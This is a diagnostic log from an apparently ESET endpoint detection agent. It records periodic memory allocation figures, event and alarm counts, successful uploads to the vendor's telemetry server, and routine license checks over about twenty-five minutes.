2026-03-04 17:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2495 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 585 KB; BaseEvent: 571 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 161 KB; BatchSerializer::EventsQueueTag: 152 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 23166 KB;
2026-03-04 17:20:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:16:44, To:, 2026-03-04 17:20:49, Duration (s):, 245, Events Per Second:, 16.847, Events:, 4135, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3435, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459973
2026-03-04 17:20:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s356ms.
2026-03-04 17:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1346 KB; TcpIpConnectionsManager: 563 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 148 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 13 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21281 KB;
2026-03-04 17:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1708 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 194 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 130 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21825 KB;
2026-03-04 17:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2068 KB; ModuleMetadata: 1973 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 373 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 113 KB; BatchSerializer::EventsQueueTag: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22386 KB;
2026-03-04 17:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:23:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:23:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:23:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:23:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2474 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 570 KB; BaseEvent: 559 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 214 KB; BatchSerializer::EventsQueueTag: 147 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23167 KB;
2026-03-04 17:24:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:20:49, To:, 2026-03-04 17:24:54, Duration (s):, 245, Events Per Second:, 16.799, Events:, 4117, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3407, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457391
2026-03-04 17:24:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 17:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1326 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 192 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BaseEvent: 1 KB; BatchSerializer::EventsQueueTag: 1 KB; BatchStringTag: 0 KB; Total: 21285 KB;
2026-03-04 17:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1689 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 179 KB; rules::ProcessConditionsCache: 177 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 47 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21858 KB;
2026-03-04 17:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2072 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 361 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 206 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 95 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22494 KB;
2026-03-04 17:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2430 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 543 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 151 KB; BatchSerializer::EventsQueueTag: 144 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23027 KB;
2026-03-04 17:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:28:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:28:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:28:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:28:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2793 KB; ModuleMetadata: 1973 KB; BaseEvent: 722 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 191 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 132 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23587 KB;
2026-03-04 17:29:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:24:53, To:, 2026-03-04 17:29:01, Duration (s):, 248, Events Per Second:, 16.475, Events:, 4093, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3381, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454716
2026-03-04 17:29:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 17:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1633 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 157 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 106 KB; BatchSerializer::EventsQueueTag: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21704 KB;
2026-03-04 17:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2000 KB; ModuleMetadata: 1973 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 336 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 103 KB; BatchSerializer::EventsQueueTag: 89 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22257 KB;
2026-03-04 17:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2361 KB; ModuleMetadata: 1973 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 512 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 136 KB; rules::ProcessConditionsCache: 92 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22834 KB;
2026-03-04 17:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2730 KB; ModuleMetadata: 1973 KB; BaseEvent: 692 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 182 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 81 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23427 KB;
2026-03-04 17:33:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:29:01, To:, 2026-03-04 17:33:09, Duration (s):, 248, Events Per Second:, 16.558, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457325
2026-03-04 17:33:10 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s440ms.
2026-03-04 17:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:33:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:33:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:33:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:33:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1577 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BaseEvent: 128 KB; rules::ProcessConditionsCache: 67 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21533 KB;
2026-03-04 17:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1938 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 315 KB; BaseEvent: 304 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 80 KB; rules::ProcessConditionsCache: 53 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22106 KB;
2026-03-04 17:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2301 KB; ModuleMetadata: 1973 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 483 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 127 KB; rules::ProcessConditionsCache: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22687 KB;
2026-03-04 17:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2673 KB; ModuleMetadata: 1973 KB; BaseEvent: 665 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 174 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 47 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23293 KB;
2026-03-04 17:37:21 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:33:08, To:, 2026-03-04 17:37:21, Duration (s):, 253, Events Per Second:, 16.237, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 719, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458152
2026-03-04 17:37:22 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 17:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1515 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BaseEvent: 100 KB; rules::ProcessConditionsCache: 37 KB; BatchSerializer::EventsQueueTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21416 KB;
2026-03-04 17:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:38:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:38:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:38:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:38:53 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1899 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 276 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 82 KB; BatchSerializer::EventsQueueTag: 74 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 22108 KB;
2026-03-04 17:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2345 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 476 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 131 KB; rules::ProcessConditionsCache: 96 KB; ProcessInfoCommandLineTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22856 KB;
2026-03-04 17:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2712 KB; ModuleMetadata: 1973 KB; BaseEvent: 658 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 178 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 80 KB; ProcessInfoCommandLineTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23434 KB;
2026-03-04 17:41:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:37:20, To:, 2026-03-04 17:41:18, Duration (s):, 238, Events Per Second:, 17.462, Events:, 4162, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3487, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 674, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 464798
2026-03-04 17:41:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s386ms.
2026-03-04 17:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1568 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 595 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BaseEvent: 94 KB; ProcessInfoCommandLineTag: 26 KB; BatchSerializer::EventsQueueTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21560 KB;
2026-03-04 17:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1934 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 578 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; rules::ProcessConditionsCache: 415 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 277 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 73 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22515 KB;
2026-03-04 17:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:43:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
